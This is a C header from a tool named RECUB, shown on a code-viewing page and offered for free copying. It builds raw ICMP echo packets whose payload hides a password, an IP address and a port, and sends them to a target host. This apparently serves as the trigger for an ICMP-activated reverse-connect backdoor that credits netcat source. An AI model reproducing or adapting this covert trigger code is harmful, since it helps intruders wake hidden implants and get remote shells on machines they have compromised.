📄 icmp.h
字号:
///////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////
// //
// RECUB //
// By Hirosh //
// www.hirosh.net //
// www.eos-india.net //
// //
//Thanks for starch at http://mir-os.sourceforge.net For the idea,I started this by //
//porting his version in linux to win32,after some time i stoped porting bc i prefer //
//a small EXE heheh..,and thanks to NC source too.. //
// //
// No CopyRights - Feel Free to Cut & Paste //
// //
// //
///////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////
typedef struct tagXData
{
char start;
char pass[4];
char ip[16];
unsigned int port;
char end;
} XData;
#define REQ_DATASIZE 32
typedef struct tagICMPHDR
{
unsigned char icmp_type;
unsigned char icmp_code;
unsigned short icmp_cksum;
unsigned short icmp_id;
unsigned short icmp_seq;
} ICMPHDR, *PICMPHDR;
typedef struct tagECHOREQUEST
{
ICMPHDR icmpHdr;
char cData[REQ_DATASIZE];
} ECHOREQUEST, *PECHOREQUEST;
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while (size > 1)
{
cksum += *buffer++;
size -= sizeof(USHORT);
}
if (size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
void SendICMP(char *desip,XData data)
{
WSADATA wsaData;
SOCKET sock;
static ECHOREQUEST echo_req;
struct sockaddr_in sin;
BOOL bOpt;
bOpt= 1;
if (WSAStartup(MAKEWORD(2,2), &wsaData) != 0)
{
MessageBox(0,"WSAStartup failure","rr",MB_OK);
}
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == SOCKET_ERROR)
{
MessageBox(0,"Error starting socket","rr",MB_OK);
}
sin.sin_family = AF_INET;
sin.sin_port = htons(0);
sin.sin_addr.s_addr = inet_addr(desip);
echo_req.icmpHdr.icmp_type = 0;
echo_req.icmpHdr.icmp_code = 0;
echo_req.icmpHdr.icmp_cksum = 0;
echo_req.icmpHdr.icmp_id = 1;
echo_req.icmpHdr.icmp_seq = 1;
memcpy (echo_req.cData,(void *)&data,sizeof(data));
char dd[100];
XData *p;
p=(XData *)&echo_req.cData;
echo_req.icmpHdr.icmp_cksum = checksum((unsigned short *)&echo_req, sizeof(ECHOREQUEST));
if (sendto(sock, (const char *) &echo_req, sizeof(ECHOREQUEST), 0, (SOCKADDR *)&sin, sizeof(sin)) == SOCKET_ERROR)
{
char mess[100];
wsprintf(mess,"Error code is %d",GetLastError());
MessageBox(0,"sendto() failed",mess,MB_OK);
}
closesocket(sock);
WSACleanup();
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -